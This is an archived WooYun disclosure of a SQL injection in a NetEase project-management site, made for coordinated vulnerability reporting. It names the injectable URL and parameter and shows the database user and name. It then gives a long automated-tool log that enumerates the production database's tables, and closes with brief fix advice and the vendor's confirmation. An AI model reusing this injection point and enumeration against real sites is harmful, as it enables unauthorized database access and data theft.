破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

网易某站点MySQL注射

编号209206
Urlhttp://www.wooyun.org/bug.php?action=view&id=209206
漏洞状态厂商已经确认
漏洞标题网易某站点MySQL注射
漏洞类型SQL注射漏洞
厂商网易
白帽子lijiejie
提交日期2016-05-16 16:15:00
公开日期2016-07-01 11:30:00
修复时间(not set)
确认时间2016-05-17 00:00:00
Confirm Spend1
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank12
厂商评级
厂商评rank12
漏洞简介
网易某站点MySQL注射
漏洞细节

注射点:

http://pmo.pm.netease.com/ezfaq/show?id=redmine-system-builder&faq_id=43


参数 faq_id可以注入。

POC

current user:    '[email protected]'
current database: 'redminepmo'


数据跑起来比较慢,用几个表做验证:

[10:42:42] [INFO] fetching tables for database: 'redminepmo'
[10:42:42] [INFO] fetching number of tables for database 'redminepmo'
[10:42:42] [INFO] resumed: 153
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 11
[10:42:42] [INFO] resumed: attachments
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 12
[10:42:42] [INFO] resumed: auth_sources
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 6
[10:42:42] [INFO] resumed: boards
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 13
[10:42:42] [INFO] resumed: book_chapters
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 5
[10:42:42] [INFO] resumed: books
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 7
[10:42:42] [INFO] resumed: changes
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 17
[10:42:42] [INFO] resumed: changeset_parents
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 10
[10:42:42] [INFO] resumed: changesets
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 17
[10:42:42] [INFO] resumed: changesets_issues
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 17
[10:42:42] [INFO] resumed: chart_done_ratios
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 20
[10:42:42] [INFO] resumed: chart_issue_statuses
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 22
[10:42:42] [INFO] resumed: chart_saved_conditions
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 18
[10:42:42] [INFO] resumed: chart_time_entries
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 6
[10:42:42] [INFO] resumed: cnotes
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 8
[10:42:42] [INFO] resumed: comments
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 13
[10:42:42] [INFO] resumed: custom_fields
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 22
[10:42:42] [INFO] resumed: custom_fields_projects
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 22
[10:42:42] [INFO] resumed: custom_fields_trackers
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 14
[10:42:42] [INFO] resumed: custom_periods
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 20
[10:42:42] [INFO] resumed: custom_role_trackers
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 22
[10:42:42] [INFO] resumed: custom_stat_mod_charts
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 25
[10:42:42] [INFO] resumed: custom_stat_mod_templates
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 13
[10:42:42] [INFO] resumed: custom_values
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 12
[10:42:42] [INFO] resumed: delayed_jobs
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 13
[10:42:42] [INFO] resumed: document_dirs
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 14
[10:42:42] [INFO] resumed: document_infos
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 9
[10:42:42] [INFO] resumed: documents
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 15
[10:42:42] [INFO] resumed: enabled_modules
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 12
[10:42:42] [INFO] resumed: enumerations
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 14
[10:42:42] [INFO] resumed: faq_categories
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 12
[10:42:42] [INFO] resumed: faq_settings
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 12
[10:42:42] [INFO] resumed: faq_versions
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 4
[10:42:42] [INFO] resumed: faqs
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 12
[10:42:42] [INFO] resumed: groups_users
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 22
[10:42:42] [INFO] resumed: impasse_execution_bugs
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 27
[10:42:42] [INFO] resumed: impasse_execution_histories
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 18
[10:42:42] [INFO] resumed: ihlasse\\executions
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 16
[10:42:42] [INFO] resumed: impasse_keywords
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 21
[10:42:42] [INFO] resumed: impasse_node_keywords
[10:42:42] [INFO] retrieving the length of query output
[10:42:42] [INFO] resumed: 18
[10:42:48] [INFO] retrieved: impasse_node______ 13/18 (72%)

修复方案

过滤,转义

状态信息 2016-05-16: 细节已通知厂商并且等待厂商处理中
2016-05-17: 厂商已经确认,细节仅向厂商公开
2016-05-27: 细节向核心白帽子及相关领域专家公开
2016-06-06: 细节向普通白帽子公开
2016-06-16: 细节向实习白帽子公开
2016-07-01: 细节向公众公开
厂商回复漏洞已修复,感谢您对网易的关注!
回应信息危害等级:高漏洞Rank:12 确认时间:2016-05-17 11:22
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

lijiejie威武

Catsay02016-05-16 17:11:00